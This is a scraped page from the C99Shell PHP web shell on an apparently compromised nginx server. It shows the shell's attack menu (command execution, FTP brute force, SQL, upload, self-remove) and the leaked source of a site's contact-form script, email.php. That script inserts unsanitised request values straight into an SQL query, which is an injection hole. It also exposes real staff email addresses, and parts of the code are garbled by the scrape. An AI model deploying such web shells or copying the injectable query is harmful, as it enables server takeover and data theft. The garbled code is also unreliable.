!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/   drwxr-xr-x
Free 39.75 GB of 48.28 GB (82.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     email.php (4.21 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require 'connection.php';
include 
'sendgrid_mail.php';

$name=$_REQUEST['name'];
$lastname=$_REQUEST['lastname'];
$email=$_REQUEST['email'];

$sub=$_REQUEST['subject'];
$message=$_REQUEST['message'];
// $to="athirasurendran.sics@gmail.com";
// $from=$email;
// $subject="Srishti-Contact Info";

// $headers  = 'MIME-Version: 1.0' . "\n";

// $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\n";
// //$headers .= 'To: Mary <mary@example.com>, Kelly <kelly@example.com>' . "\r\n";
// $headers .= 'From: <athirasurendran.sics@gmail.com>' . "\n";
                    
// $output = "Name:".$name."<br/>Last Name:".$lastname."<br/>Email:".$email."<br/>Phone:".$sub."<br/>Message:".$message."<br/>";
// $sent= mail($to, $subject, $output, $headers);


$to    ="srishticampusteam@srishtis.com";
//$to    ="srishticampusteam@srishtis.com";
//$from=$email;
$subject="Srishti Campus Team";
//$headers  = 'MIME-Version: 1.0' . "\r\n";
 //$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
//$headers .= 'To: Mary <mary@example.com>, Kelly <kelly@example.com>' . "\r\n";
 //$headers .= 'From: Srishti <srishticampusteam@srishtis.com>' . "\r\n";
                    
$output "<div style='font-size:15px;>Name:".$name." ".$lastname."<br/>Email:".$email."<br/>Phone:".$sub."<br/>Message:".$message."<br/>|</div>";

$output "<div style='font-size:15px;border-style: outset;'><table style='margin-left:40px;'><tr><td><caption><h4>Enquiry Details</h4></caption></td></tr><tr><td>Name:</td><td>".$name." ".$lastname."</td></tr><tr><td>Email:</td><td>".$email."</td></tr><tr><td>Phone:</td><td>".$sub."</td></tr><tr><td>Message:</td><td>".$message."</td></tr></table></div></br>";
//$sent= mail($to, $subject, $output, $headers);

$sql="insert into contactus(firstname,lastname,email,phone,message) values('$name','$lastname','$email','$sub','$message')";
$result$con->query($sql);
$count=$con->affected_rows;


if(
$count>0){

                
// create new sendgrid mail
                
$email_sg = new \SendGrid\Mail\Mail(); 
                
// specify the email/name of where the email is coming from
                
$email_sg->setFromFROM_EMAILFROM_NAME );
                
// set the email subject line
                
$email_sg->setSubject$subject );
                
// specify the email/name we are sending the email to
                
$email_sg->addToTO_EMAILTO_NAME );
                
// add our email body content    
                
$email_sg->addContent("text/html"$output);        
               
               
// create new sendgrid
                
$sendgrid = new \SendGridSENDGRID_API_KEY );
                try {
                    
// try and send the email
                    
$response $sendgrid->send$email_sg );
                } catch ( 
Exception $e ) {
                    
// something went wrong so display the error message
                    
echo 'Caught exception: '$e->getMessage() ."\n";
                }
    
                
//mail($to, $subject, $output, $headers);
    
$to_1    =$email;
$from_1='srishticampusteam@srishtis.com';
$subject_1="Srishti Campus Team";
$headers_1  'MIME-Version: 1.0' "\n";
            
$headers_1 .= 'Content-type: text/html; charset=iso-8859-1' "\n";
            
$headers_1 .= "From: Srishti <srishticampusteam@srishtis.com>" .
                
"Reply-To: srishticampusteam@srishtis.com\n".

                    
"X-Mailer: php/"phpversion();
                    
$output_1="Thank you for contacting Srishti-Quality Beyond Contract. We will get in touch with you as soon as we process your Query!!";

                
// create new sendgrid mail
                
$email_sg = new \SendGrid\Mail\Mail(); 
                
// specify the email/name of where the email is coming from
                
$email_sg->setFromFROM_EMAILFROM_NAME );
                
// set the email subject line
                
$email_sg->setSubject$subject_1 );
                
// specify the email/name we are sending the email to
                
$email_sg->addTo$to_1$to_1 );
                
// add our email body content    
                
$email_sg->addContent("text/html"$output_1);        
               
               
// create new sendgrid
                
$sendgrid = new \SendGridSENDGRID_API_KEY );
                try {
                    
// try and send the email
                    
$response $sendgrid->send$email_sg );
                } catch ( 
Exception $e ) {
                    
// something went wrong so display the error message
                    
echo 'Caught exception: '$e->getMessage() ."\n";
                }            
//$sent_1= mail($to_1,$subject_1, $output_1, $headers_1);

header("Location:contact-us.php?s=Success");
}
else{
    
header("Location:contact-us.php?s=Failed");
}



?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0053 ]--